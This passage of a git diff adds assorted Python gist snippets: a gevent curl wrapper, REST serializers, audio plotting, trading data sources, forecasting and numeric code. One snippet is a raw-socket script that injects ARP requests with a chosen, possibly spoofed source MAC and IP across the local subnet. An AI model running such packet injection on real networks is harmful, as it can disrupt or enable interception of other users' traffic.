+                watcher.stop()
+        else:
+            watcher = self._watchers.get(fd)
+            if watcher is None:
+                watcher = self.loop.io(fd, event)
+                watcher.start(self._handle_events, EVENTS, fd)
+                self._watchers[fd] = watcher
+            else:
+                if watcher.events != event:
+                    watcher.stop()
+                    watcher.events = event
+                    watcher.start(self._handle_events, EVENTS, fd)
+
+    def _handle_timeout(self):
+        """Called by IOLoop when the requested timeout has passed."""
+        if self._timeout is not None:
+            self._timeout.stop()
+            self._timeout = None
+        while True:
+            try:
+                ret, num_handles = self._obj.socket_action(pycurl.SOCKET_TIMEOUT, 0)
+            except pycurl.error, e:
+                ret = e.args[0]
+            if ret != pycurl.E_CALL_MULTI_PERFORM:
+                break
+        self._finish_pending_requests()
+
+        # In theory, we shouldn't have to do this because curl will
+        # call _set_timeout whenever the timeout changes. However,
+        # sometimes after _handle_timeout we will need to reschedule
+        # immediately even though nothing has changed from curl's
+        # perspective. This is because when socket_action is
+        # called with SOCKET_TIMEOUT, libcurl decides internally which
+        # timeouts need to be processed by using a monotonic clock
+        # (where available) while tornado uses python's time.time()
+        # to decide when timeouts have occurred. When those clocks
+        # disagree on elapsed time (as they will whenever there is an
+        # NTP adjustment), tornado might call _handle_timeout before
+        # libcurl is ready. After each timeout, resync the scheduled
+        # timeout with libcurl's current state.
+        new_timeout = self._obj.timeout()
+        if new_timeout != -1:
+            self._set_timeout(new_timeout)
+
+    def _handle_events(self, events, fd):
+        action = 0
+        if events & READ:
+            action |= pycurl.CSELECT_IN
+        if events & WRITE:
+            action |= pycurl.CSELECT_OUT
+        while True:
+            try:
+                ret, num_handles = self._socket_action(fd, action)
+            except pycurl.error, e:
+                ret = e.args[0]
+            if ret != pycurl.E_CALL_MULTI_PERFORM:
+                break
+        self._finish_pending_requests()
+
+    def _finish_pending_requests(self):
+        """Process any requests that were completed by the lastcall to multi.socket_action."""
+        while True:
+            num_q, ok_list, err_list = self._obj.info_read()
+            for curl in ok_list:
+                curl.waiter.switch()
+            for curl, errnum, errmsg in err_list:
+                curl.waiter.throw(Exception('%s %s' % (errnum, errmsg)))
+            if num_q == 0:
+                break
+
+
+class cached_class_property(object):
+
+    def __init__(self, func, name=None, doc=None):
+        name = name or func.__name__
+        self.__name__ = '_cached_class_property_' + name
+        self.__module__ = func.__module__
+        self.__doc__ = doc or func.__doc__
+        self.func = func
+
+    def __get__(self, _obj, cls, _missing=object()):
+        value = getattr(cls, self.__name__, _missing)
+        if value is _missing:
+            value = self.func(cls)
+            setattr(cls, self.__name__, value)
+        return value
+
+
+class Curl(object):
+
+    _multi_class = GeventCurl
+
+    @cached_class_property  # should be threadlocal_cached_class_property XXX
+    def _multi(cls):
+        return cls._multi_class()
+
+    def __init__(self):
+        self._obj = _Curl()
+
+    def __getattr__(self, item):
+        return getattr(self._obj, item)
+
+    def perform(self):
+        assert getattr(self._obj, 'waiter', None) is None, 'This curl object is already used by another greenlet'
+        waiter = self._obj.waiter = Waiter()
+        try:
+            self._multi.add_handle(self)
+            try:
+                return waiter.get()
+            finally:
+                self._multi.remove_handle(self)
+        finally:
+            del self._obj.waiter
diff --git a/hard-gists/5875346/._snippet.py b/hard-gists/5875346/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5875346/._snippet.py differ
diff --git a/hard-gists/5875346/snippet.py b/hard-gists/5875346/snippet.py
new file mode 100644
index 00000000..3798c86c
--- /dev/null
+++ b/hard-gists/5875346/snippet.py
@@ -0,0 +1,24 @@
+from pyfbsdk import *
+
+def getSelectedOrder():
+    # selectionOrder selection order
+    # Get the current selection
+    lModelList = FBModelList()
+    pParent = None
+    pSelected = True
+    pSortSelectedOrder = True
+    FBGetSelectedModels( lModelList, pParent, pSelected, pSortSelectedOrder )    
+    
+    if not lModelList: return None
+    else: return lModelList
+    
+lSelected = getSelectedOrder()
+for i in range(len(lSelected)): print "%d: %s" % ( i, lSelected[i].Name )
+
+
+##    FBGetSelectedModels(
+##    tuple     pList,
+##    FBModel 	pParent = None,
+##    bool 	pSelected = True,
+##    bool 	pSortBySelectOrder = False 
+##    )	
\ No newline at end of file
diff --git a/hard-gists/5881137/._snippet.py b/hard-gists/5881137/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5881137/._snippet.py differ
diff --git a/hard-gists/5881137/snippet.py b/hard-gists/5881137/snippet.py
new file mode 100644
index 00000000..eef351a6
--- /dev/null
+++ b/hard-gists/5881137/snippet.py
@@ -0,0 +1,47 @@
+import re
+
+from rest_framework import serializers, renderers, parsers
+
+
+class JSONRenderer(renderers.JSONRenderer):
+    def render(self, data, *args, **kwargs):
+        if data:
+            data = recursive_key_map(underscore_to_camelcase, data)
+        return super(JSONRenderer, self).render(data, *args, **kwargs)
+
+
+class JSONParser(parsers.JSONParser):
+    def parse(self, *args, **kwargs):
+        obj = super(JSONParser, self).parse(*args, **kwargs)
+        return recursive_key_map(camelcase_to_underscore, obj)
+
+
+def underscore_to_camelcase(word, lower_first=True):
+    result = ''.join(char.capitalize() for char in word.split('_'))
+    if lower_first:
+        return result[0].lower() + result[1:]
+    else:
+        return result
+
+_first_cap_re = re.compile('(.)([A-Z][a-z]+)')
+_all_cap_re = re.compile('([a-z0-9])([A-Z])')
+
+
+# http://stackoverflow.com/a/1176023
+def camelcase_to_underscore(word):
+    s1 = _first_cap_re.sub(r'\1_\2', word)
+    return _all_cap_re.sub(r'\1_\2', s1).lower()
+
+
+def recursive_key_map(function, obj):
+    if isinstance(obj, dict):
+        new_dict = {}
+        for key, value in obj.iteritems():
+            if isinstance(key, basestring):
+                key = function(key)
+            new_dict[key] = recursive_key_map(function, value)
+        return new_dict
+    if hasattr(obj, '__iter__'):
+        return [recursive_key_map(function, value) for value in obj]
+    else:
+        return obj
\ No newline at end of file
diff --git a/hard-gists/5882365/._snippet.py b/hard-gists/5882365/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5882365/._snippet.py differ
diff --git a/hard-gists/5882365/snippet.py b/hard-gists/5882365/snippet.py
new file mode 100644
index 00000000..2b377a12
--- /dev/null
+++ b/hard-gists/5882365/snippet.py
@@ -0,0 +1,39 @@
+from array import array
+import pyaudio
+import sys
+import numpy as np
+import matplotlib.pyplot as plt
+
+plt.ion()
+ax1=plt.axes()  
+chunk = 1024
+FORMAT = pyaudio.paInt16
+CHANNELS = 1
+#RATE = 44100
+RATE = 16000
+RECORD_SECONDS = 20
+
+p = pyaudio.PyAudio()
+signal = np.zeros([1,1024])[0]
+ii16 = np.iinfo(np.int16)
+plt.ylim([ii16.min,ii16.max])
+plt.grid()
+line, = plt.plot(signal)
+
+stream = p.open(format = FORMAT,
+                channels = CHANNELS, 
+                rate = RATE, 
+                input = True,
+                output = True,
+                frames_per_buffer = chunk)
+
+for i in range(0, 44100 / chunk * RECORD_SECONDS):
+    data = stream.read(chunk)
+    signal = np.fromstring(data, 'Int16')
+    line.set_xdata(np.arange(len(signal)))
+    line.set_ydata(signal)
+    plt.draw()
+
+stream.stop_stream()
+stream.close()
+p.terminate()
diff --git a/hard-gists/5882966/._snippet.py b/hard-gists/5882966/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5882966/._snippet.py differ
diff --git a/hard-gists/5882966/snippet.py b/hard-gists/5882966/snippet.py
new file mode 100644
index 00000000..168b9b9b
--- /dev/null
+++ b/hard-gists/5882966/snippet.py
@@ -0,0 +1,96 @@
+#!/usr/bin/env python
+import socket
+import binascii
+import struct
+import pcapy
+import netifaces as ni
+import netaddr
+import random
+
+
+def notation(netmask):
+        binary_str = ''
+        for octet in netmask:
+                binary_str += bin(int(octet))[2:].zfill(8)
+        return str(len(binary_str.rstrip('0')))
+
+
+
+#list all interfaces
+devices = pcapy.findalldevs()
+print "Available devices are:"
+for d in devices :
+        print d
+
+dev = raw_input("Enter interface name to inject ARP:: ") 
+
+#MAC Addr choose
+mac = raw_input("\nEnter the target MAC-Addr in 00:11:22:33:44:55 format\n\
+or just press enter to bind packet with your own MAC-Addr = ")
+
+#bind socket to the interface
+raw = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
+raw.bind((dev, socket.htons(0x0800)))
+
+
+#get ip address, netmask and MAC-addr of interface
+ipaddr = ni.ifaddresses(dev)[2][0]['addr']
+netmask = ni.ifaddresses(dev)[2][0]['netmask']
+
+if len(mac) == 17:
+        s_mac = mac
+elif mac is '':
+        s_mac = ni.ifaddresses(dev)[17][0]['addr']
+        print "Binding with %s interface MAC" %dev
+else :
+        s_mac = ni.ifaddresses(dev)[17][0]['addr']
+        print "\nillegal MAC format, binding with interface MAC :P\n"
+
+s_mac_hex = binascii.unhexlify(s_mac.replace(':',''))
+
+netID = ipaddr+'/'+notation(netmask.split('.'))
+
+#list of network range
+net_range =  list(netaddr.IPNetwork(netID))
+
+#remove network ID and Broadcast Addr from list
+del net_range[0]
+net_range.pop()
+
+if s_mac == mac:
+        ip_input = raw_input("Enter target IP or press return to choose at random : ")
+        if ip_input == '':
+                ip_random = random.sample(net_range, 1)
+                ipaddr = str(ip_random[0])
+        else :
+                ipaddr = ip_input
+
+#removing self ip from range
+s_ipaddr = ipaddr.split('.')
+net_range.pop(int(s_ipaddr[3]))
+
+ip_hex = socket.inet_aton(ipaddr)
+
+print "Injecting ARP packets with %s MAC, target IP %s on %s interface\n" %(s_mac, ipaddr, dev) 
+
+for i in net_range:
+
+        hex_ip = socket.inet_aton(str(i))
+        packet = struct.pack("!6s6s2s2s2s1s1s2s6s4s6s4s","\xff\xff\xff\xff\xff\xff",\
+s_mac_hex,"\x08\x06","\x00\x01","\x08\x00","\x06","\x04",\
+"\x00\x01", s_mac_hex,ip_hex , "\x00\x00\x00\x00\x00\x00", hex_ip)
+        raw.send(packet)
+        #print "current IP"+str(i)
+
+
+
+
+
+'''
+This script will inject ARP requests into network.
+
+make sure you provide correct MAC & IP format. because it just verifies length not format
+
+use at ur own risk if your network notation is less than 22
+
+'''
diff --git a/hard-gists/5886984/._snippet.py b/hard-gists/5886984/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5886984/._snippet.py differ
diff --git a/hard-gists/5886984/snippet.py b/hard-gists/5886984/snippet.py
new file mode 100644
index 00000000..a780fccf
--- /dev/null
+++ b/hard-gists/5886984/snippet.py
@@ -0,0 +1,159 @@
+"""
+leverage work of briancappello and quantopian team
+(especcially twiecki, eddie, and fawce)
+"""
+import pandas as pd
+from zipline.gens.utils import hash_args
+from zipline.sources.data_source import DataSource
+import datetime
+import csv
+import numpy as np
+
+
+def get_time(time_str):
+    time_array = map(int, time_str.split(":"))
+    assert len(time_array) == 2
+    assert time_array[0] < 24 and time_array[1] < 61
+    return datetime.time(time_array[0], time_array[1])
+
+
+def gen_ts(date, time):
+    return pd.Timestamp(datetime.datetime.combine(date, time))
+
+
+class DatasourceCSVohlc(DataSource):
+    """ expects dictReader for a csv file
+     with the following columns in the  header
+    dt, symbol, open, high, low, close, volume
+    dt expected in ISO format and order does not matter"""
+    def __init__(self, data, **kwargs):
+        isinstance(data, csv.DictReader)
+        self.data = data
+        # Unpack config dictionary with default values.
+        if 'symbols' in kwargs:
+            self.sids = kwargs.get('symbols')
+        else:
+            self.sids = None
+        self.tz_in = kwargs.get('tz_in', "US/Eastern")
+        self.start = pd.Timestamp(np.datetime64(kwargs.get('start')))
+        self.start = self.start.tz_localize('utc')
+        self.end = pd.Timestamp(np.datetime64(kwargs.get('end')))
+        self.end = self.end.tz_localize('utc')
+        start_time_str = kwargs.get("start_time", "9:30")
+        end_time_str = kwargs.get("end_time", "16:00")
+        self.start_time = get_time(start_time_str)
+        self.end_time = get_time(end_time_str)
+        self._raw_data = None
+        self.arg_string = hash_args(data, **kwargs)
+
+    @property
+    def instance_hash(self):
+        return self.arg_string
+
+    def raw_data_gen(self):
+        previous_ts = None
+        for row in self.data:
+            dt64 = pd.Timestamp(np.datetime64(row["dt"]))
+            ts = pd.Timestamp(dt64).tz_localize(self.tz_in).tz_convert('utc')
+            if ts < self.start or ts > self.end:
+                continue
+            if previous_ts is None or ts.date() != previous_ts.date():
+                start_ts = gen_ts(ts.date(), self.start_time)
+                end_ts = gen_ts(ts.date(), self.end_time)
+            volumes = {}
+            price_volumes = {}
+            sid = row["symbol"]
+            if self.sids is None or sid in self.sids:
+                if sid not in volumes:
+                    volumes[sid] = 0
+                    price_volumes[sid] = 0
+                    if ts < start_ts or ts > end_ts:
+                        continue
+                    event = {"sid": sid, "type": "TRADE", "symbol": sid}
+                    cols = ["open", "high", "low", "close"]
+                    event["dt"] = ts
+                    event["price"] = float(row["close"])
+                    event["volume"] = row["volume"]
+                    volumes[sid] += float(event["volume"])
+                    price_volumes[sid] += event["price"] * event["volume"]
+                    event["vwap"] = price_volumes[sid] / volumes[sid]
+                    for field in cols:
+                        event[field] = row[field]
+                    yield event
+            previous_ts = ts
+
+    @property
+    def raw_data(self):
+        if not self._raw_data:
+            self._raw_data = self.raw_data_gen()
+        return self._raw_data
+
+    @property
+    def mapping(self):
+        return {
+            'sid': (lambda x: x, 'sid'),
+            'dt': (lambda x: x, 'dt'),
+            'open': (float, 'open'),
+            'high': (float, 'high'),
+            'low': (float, 'low'),
+            'close': (float, 'close'),
+            'price': (float, 'price'),
+            'volume': (int, 'volume'),
+            'vwap': (lambda x: x, 'vwap')
+        }
+
+
+class DataSourceCSVSignal(DataSource):
+    """ expects dictReader for a csv file in form with header
+        dt, symbol, signal_name
+        dt expected in ISO format"""
+    def __init__(self, data, **kwargs):
+        assert isinstance(data, csv.DictReader)
+        self.data = data
+        # Unpack config dictionary with default values.
+        if 'symbols' in kwargs:
+            self.sids = kwargs.get('symbols')
+        else:
+            self.sids = None
+        self.start = kwargs.get('start')
+        self.end = kwargs.get('end')
+        self.signal
+        # signals expects a list
+        self.arg_string = hash_args(data, **kwargs)
+        self._raw_data = None
+
+    @property
+    def instance_hash(self):
+        return self.arg_string
+
+    def raw_data_gen(self):
+        previous_ts = None
+        for row in self.data:
+                # here is the group_node referring to our root
+            dt64 = np.datetime64(row["dt"])
+            ts = pd.Timestamp(dt64).tz_localize(self.tz_in).tz_convert('utc')
+            if ts < self.start or ts > self.end:
+                continue
+            if previous_ts is None or ts.date() != previous_ts.date():
+                start_ts = gen_ts(ts.date(), self.start_time)
+                end_ts = gen_ts(ts.date(), self.end_time)
+            sid = row["symbol"]
+            if self.sids is None or sid in self.sids:
+                    event = {"sid": sid, "type": "CUSTOM", "dt": ts,
+                             "signal": row[self.signal_name]}
+                    yield event
+            previous_ts = ts
+
+    @property
+    def raw_data(self):
+        if not self._raw_data:
+            self._raw_data = self.raw_data_gen()
+        return self._raw_data
+
+    @property
+    def mapping(self):
+        return {
+            'sid': (lambda x: x, 'symbol'),
+            'dt': (lambda x: x, 'dt'),
+            'signal': (lambda x: x, 'signal'),
+        }
diff --git a/hard-gists/5888967/._snippet.py b/hard-gists/5888967/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5888967/._snippet.py differ
diff --git a/hard-gists/5888967/snippet.py b/hard-gists/5888967/snippet.py
new file mode 100644
index 00000000..257d8d07
--- /dev/null
+++ b/hard-gists/5888967/snippet.py
@@ -0,0 +1,189 @@
+#The MIT License (MIT)
+#
+#Copyright (c) 2015 Andre Queiroz
+#
+#Permission is hereby granted, free of charge, to any person obtaining a copy
+#of this software and associated documentation files (the "Software"), to deal
+#in the Software without restriction, including without limitation the rights
+#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+#copies of the Software, and to permit persons to whom the Software is
+#furnished to do so, subject to the following conditions:
+#
+#The above copyright notice and this permission notice shall be included in
+#all copies or substantial portions of the Software.
+#
+#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+#THE SOFTWARE.
+#
+# Holt-Winters algorithms to forecasting
+# Coded in Python 2 by: Andre Queiroz
+# Description: This module contains three exponential smoothing algorithms. They are Holt's linear trend method and Holt-Winters seasonal methods (additive and multiplicative).
+# References:
+#  Hyndman, R. J.; Athanasopoulos, G. (2013) Forecasting: principles and practice. http://otexts.com/fpp/. Accessed on 07/03/2013.
+#  Byrd, R. H.; Lu, P.; Nocedal, J. A Limited Memory Algorithm for Bound Constrained Optimization, (1995), SIAM Journal on Scientific and Statistical Computing, 16, 5, pp. 1190-1208.
+
+from __future__ import division
+from sys import exit
+from math import sqrt
+from numpy import array
+from scipy.optimize import fmin_l_bfgs_b
+
+def RMSE(params, *args):
+
+	Y = args[0]
+	type = args[1]
+	rmse = 0
+
+	if type == 'linear':
+
+		alpha, beta = params
+		a = [Y[0]]
+		b = [Y[1] - Y[0]]
+		y = [a[0] + b[0]]
+
+		for i in range(len(Y)):
+
+			a.append(alpha * Y[i] + (1 - alpha) * (a[i] + b[i]))
+			b.append(beta * (a[i + 1] - a[i]) + (1 - beta) * b[i])
+			y.append(a[i + 1] + b[i + 1])
+
+	else:
+
+		alpha, beta, gamma = params
+		m = args[2]		
+		a = [sum(Y[0:m]) / float(m)]
+		b = [(sum(Y[m:2 * m]) - sum(Y[0:m])) / m ** 2]
+
+		if type == 'additive':
+
+			s = [Y[i] - a[0] for i in range(m)]
+			y = [a[0] + b[0] + s[0]]
+
+			for i in range(len(Y)):
+
+				a.append(alpha * (Y[i] - s[i]) + (1 - alpha) * (a[i] + b[i]))
+				b.append(beta * (a[i + 1] - a[i]) + (1 - beta) * b[i])
+				s.append(gamma * (Y[i] - a[i] - b[i]) + (1 - gamma) * s[i])
+				y.append(a[i + 1] + b[i + 1] + s[i + 1])
+
+		elif type == 'multiplicative':
+
+			s = [Y[i] / a[0] for i in range(m)]
+			y = [(a[0] + b[0]) * s[0]]
+
+			for i in range(len(Y)):
+
+				a.append(alpha * (Y[i] / s[i]) + (1 - alpha) * (a[i] + b[i]))
+				b.append(beta * (a[i + 1] - a[i]) + (1 - beta) * b[i])
+				s.append(gamma * (Y[i] / (a[i] + b[i])) + (1 - gamma) * s[i])
+				y.append((a[i + 1] + b[i + 1]) * s[i + 1])
+
+		else:
+
+			exit('Type must be either linear, additive or multiplicative')
+		
+	rmse = sqrt(sum([(m - n) ** 2 for m, n in zip(Y, y[:-1])]) / len(Y))
+
+	return rmse
+
+def linear(x, fc, alpha = None, beta = None):
+
+	Y = x[:]
+
+	if (alpha == None or beta == None):
+
+		initial_values = array([0.3, 0.1])
+		boundaries = [(0, 1), (0, 1)]
+		type = 'linear'
+
+		parameters = fmin_l_bfgs_b(RMSE, x0 = initial_values, args = (Y, type), bounds = boundaries, approx_grad = True)
+		alpha, beta = parameters[0]
+
+	a = [Y[0]]
+	b = [Y[1] - Y[0]]
+	y = [a[0] + b[0]]
+	rmse = 0
+
+	for i in range(len(Y) + fc):
+
+		if i == len(Y):
+			Y.append(a[-1] + b[-1])
+
+		a.append(alpha * Y[i] + (1 - alpha) * (a[i] + b[i]))
+		b.append(beta * (a[i + 1] - a[i]) + (1 - beta) * b[i])
+		y.append(a[i + 1] + b[i + 1])
+
+	rmse = sqrt(sum([(m - n) ** 2 for m, n in zip(Y[:-fc], y[:-fc - 1])]) / len(Y[:-fc]))
+
+	return Y[-fc:], alpha, beta, rmse
+
+def additive(x, m, fc, alpha = None, beta = None, gamma = None):
+
+	Y = x[:]
+
+	if (alpha == None or beta == None or gamma == None):
+
+		initial_values = array([0.3, 0.1, 0.1])
+		boundaries = [(0, 1), (0, 1), (0, 1)]
+		type = 'additive'
+
+		parameters = fmin_l_bfgs_b(RMSE, x0 = initial_values, args = (Y, type, m), bounds = boundaries, approx_grad = True)
+		alpha, beta, gamma = parameters[0]
+
+	a = [sum(Y[0:m]) / float(m)]
+	b = [(sum(Y[m:2 * m]) - sum(Y[0:m])) / m ** 2]
+	s = [Y[i] - a[0] for i in range(m)]
+	y = [a[0] + b[0] + s[0]]
+	rmse = 0
+
+	for i in range(len(Y) + fc):
+
+		if i == len(Y):
+			Y.append(a[-1] + b[-1] + s[-m])
+
+		a.append(alpha * (Y[i] - s[i]) + (1 - alpha) * (a[i] + b[i]))
+		b.append(beta * (a[i + 1] - a[i]) + (1 - beta) * b[i])
+		s.append(gamma * (Y[i] - a[i] - b[i]) + (1 - gamma) * s[i])
+		y.append(a[i + 1] + b[i + 1] + s[i + 1])
+
+	rmse = sqrt(sum([(m - n) ** 2 for m, n in zip(Y[:-fc], y[:-fc - 1])]) / len(Y[:-fc]))
+
+	return Y[-fc:], alpha, beta, gamma, rmse
+
+def multiplicative(x, m, fc, alpha = None, beta = None, gamma = None):
+
+	Y = x[:]
+
+	if (alpha == None or beta == None or gamma == None):
+
+		initial_values = array([0.0, 1.0, 0.0])
+		boundaries = [(0, 1), (0, 1), (0, 1)]
+		type = 'multiplicative'
+
+		parameters = fmin_l_bfgs_b(RMSE, x0 = initial_values, args = (Y, type, m), bounds = boundaries, approx_grad = True)
+		alpha, beta, gamma = parameters[0]
+
+	a = [sum(Y[0:m]) / float(m)]
+	b = [(sum(Y[m:2 * m]) - sum(Y[0:m])) / m ** 2]
+	s = [Y[i] / a[0] for i in range(m)]
+	y = [(a[0] + b[0]) * s[0]]
+	rmse = 0
+
+	for i in range(len(Y) + fc):
+
+		if i == len(Y):
+			Y.append((a[-1] + b[-1]) * s[-m])
+
+		a.append(alpha * (Y[i] / s[i]) + (1 - alpha) * (a[i] + b[i]))
+		b.append(beta * (a[i + 1] - a[i]) + (1 - beta) * b[i])
+		s.append(gamma * (Y[i] / (a[i] + b[i])) + (1 - gamma) * s[i])
+		y.append((a[i + 1] + b[i + 1]) * s[i + 1])
+
+	rmse = sqrt(sum([(m - n) ** 2 for m, n in zip(Y[:-fc], y[:-fc - 1])]) / len(Y[:-fc]))
+
+	return Y[-fc:], alpha, beta, gamma, rmse
diff --git a/hard-gists/5889795/._snippet.py b/hard-gists/5889795/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5889795/._snippet.py differ
diff --git a/hard-gists/5889795/snippet.py b/hard-gists/5889795/snippet.py
new file mode 100644
index 00000000..cbdd61eb
--- /dev/null
+++ b/hard-gists/5889795/snippet.py
@@ -0,0 +1,89 @@
+#  Copyright (c) 2013 Alexandre Drouin. All rights reserved.
+#
+#  Permission is hereby granted, free of charge, to any person obtaining a copy of
+#  this software and associated documentation files (the "Software"), to deal in
+#  the Software without restriction, including without limitation the rights to
+#  use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+#  of the Software, and to permit persons to whom the Software is furnished to do
+#  so, subject to the following conditions:
+#
+#  The above copyright notice and this permission notice shall be included in all
+#  copies or substantial portions of the Software.
+#
+#  If you happen to meet one of the copyright holders in a bar you are obligated
+#  to buy them one pint of beer.
+#
+#  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+#  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+#  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+#  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+#  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+#  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+#  SOFTWARE.
+from warnings import warn
+
+import numpy as np
+from scipy.linalg.fblas import dgemm
+
+
+def linear_least_squares(a, b, residuals=False):
+    """
+    Return the least-squares solution to a linear matrix equation.
+
+    Solves the equation `a x = b` by computing a vector `x` that
+    minimizes the Euclidean 2-norm `|| b - a x ||^2`.  The equation may
+    be under-, well-, or over- determined (i.e., the number of
+    linearly independent rows of `a` can be less than, equal to, or
+    greater than its number of linearly independent columns).  If `a`
+    is square and of full rank, then `x` (but for round-off error) is
+    the "exact" solution of the equation.
+
+    Parameters
+    ----------
+    a : (M, N) array_like
+        "Coefficient" matrix.
+    b : (M,) array_like
+        Ordinate or "dependent variable" values.
+    residuals : bool
+        Compute the residuals associated with the least-squares solution
+
+    Returns
+    -------
+    x : (M,) ndarray
+        Least-squares solution. The shape of `x` depends on the shape of
+        `b`.
+    residuals : int (Optional)
+        Sums of residuals; squared Euclidean 2-norm for each column in
+        ``b - a*x``.
+    """
+    if type(a) != np.ndarray or not a.flags['C_CONTIGUOUS']:
+        warn('Matrix a is not a C-contiguous numpy array. The solver will create a copy, which will result' + \
+             ' in increased memory usage.')
+
+    a = np.asarray(a, order='c')
+    i = dgemm(alpha=1.0, a=a.T, b=a.T, trans_b=True)
+    x = np.linalg.solve(i, dgemm(alpha=1.0, a=a.T, b=b)).flatten()
+
+    if residuals:
+        return x, np.linalg.norm(np.dot(a, x) - b)
+    else:
+        return x
+
+
+if __name__ == "__main__":
+    x = np.array([0, 1, 2, 3])
+    y = np.array([-1, 0.2, 0.9, 2.1])
+
+    A = np.vstack([x, np.ones(len(x))]).T
+    A = np.asarray(A, order='c')
+
+    m, c = linear_least_squares(A, y)
+
+    print m, c
+
+    import matplotlib.pyplot as plt
+
+    plt.plot(x, y, 'o', label='Original data', markersize=10)
+    plt.plot(x, m * x + c, 'r', label='Fitted line')
+    plt.legend()
+    plt.show()
diff --git a/hard-gists/5894681/._snippet.py b/hard-gists/5894681/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5894681/._snippet.py differ
diff --git a/hard-gists/5894681/snippet.py b/hard-gists/5894681/snippet.py
new file mode 100644
index 00000000..42152b0f
--- /dev/null
+++ b/hard-gists/5894681/snippet.py
@@ -0,0 +1,40 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+
+import argparse
+import shutil
+from urllib import request
+import zipfile
+
+def replace_css(file, css):
+    zin = zipfile.ZipFile(file)
+    new_file = file.replace('.epub', '_new.epub')
+    zout = zipfile.ZipFile(new_file, 'w')
+    for item in zin.infolist():
+        buffer = zin.read(item.filename)
+        if (item.filename == 'OEBPS/readlist_epub.css'):
+            zout.writestr(item, css)
+        else:
+            zout.writestr(item, buffer)
+    zout.close()
+    zin.close()
+    
+    shutil.move(new_file, file)
+    
+
+# https://gist.github.com/imginohu/5890070
+css_url = 'https://gist.github.com/imginohu/5890070/raw/54ded069f3f172751225b27f31216ed635e2d49b/readlist_epub.css'
+
+CSSSTR = request.urlopen(css_url).read()
+
+parser = argparse.ArgumentParser(
+    description='replace readability default css for better nook simple touch reading')
+parser.add_argument(dest='filenames',metavar='filename', nargs='*')
+args = parser.parse_args()
+
+filenames = [f for f in args.filenames 
+               if zipfile.is_zipfile(f) and f.endswith('epub')]
+
+for file in filenames:
+    replace_css(file, CSSSTR)
+    print(file, 'is processed.')
\ No newline at end of file
diff --git a/hard-gists/5898352/._snippet.py b/hard-gists/5898352/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5898352/._snippet.py differ
diff --git a/hard-gists/5898352/snippet.py b/hard-gists/5898352/snippet.py
new file mode 100644
index 00000000..d295e921
--- /dev/null
+++ b/hard-gists/5898352/snippet.py
@@ -0,0 +1,11 @@
+import os
+import scipy.io.wavfile as wav
+# install lame
+# install bleeding edge scipy (needs new cython)
+fname = 'XC135672-Red-winged\ Blackbird1301.mp3'
+oname = 'temp.wav'
+cmd = 'lame --decode {0} {1}'.format( fname,oname )
+os.system(cmd)
+data = wav.read(oname)
+# your code goes here
+print len(data[1])
diff --git a/hard-gists/58e015dd9ff33049da5a/._snippet.py b/hard-gists/58e015dd9ff33049da5a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/58e015dd9ff33049da5a/._snippet.py differ
diff --git a/hard-gists/58e015dd9ff33049da5a/snippet.py b/hard-gists/58e015dd9ff33049da5a/snippet.py
new file mode 100644
index 00000000..be8f99bd
--- /dev/null
+++ b/hard-gists/58e015dd9ff33049da5a/snippet.py
@@ -0,0 +1,182 @@
+import argparse
+import numpy as np
+from chainer import Variable, FunctionSet, optimizers, cuda
+import chainer.functions  as F
+import cv2
+import random
+import cPickle as pickle
+import sys
+
+class ConvolutionalAutoencoder(FunctionSet):
+    def __init__(self, n_in, n_out, ksize, stride=1, pad=0, wscale=1, bias=0, nobias=False):
+        super(ConvolutionalAutoencoder, self).__init__(
+            encode=F.Convolution2D(n_in, n_out, ksize, stride=stride, pad=pad, wscale=wscale, bias=bias, nobias=nobias),
+            decode=F.Convolution2D(n_out, n_in, ksize, stride=stride, pad=pad, wscale=wscale, bias=bias, nobias=nobias)
+        )
+
+    def forward(self, x_data, y_data, train=True):
+        x = Variable(x_data)
+        t = Variable(x_data)
+        if train:
+            x = F.dropout(x)
+        h = F.sigmoid(self.encode(x))
+        y = F.sigmoid(self.decode(h))
+        return F.mean_squared_error(y, t)
+
+class Trainer():
+    def __init__(self, model, optimizer, loader, min_loss=None, max_epochs=10, logger=None):
+        self.model = model
+        self.optimizer = optimizer
+        self.optimizer.setup(model.collect_parameters())
+        self.loader = loader
+        self.min_loss = min_loss
+        self.max_epochs = max_epochs
+        self.logger = logger
+
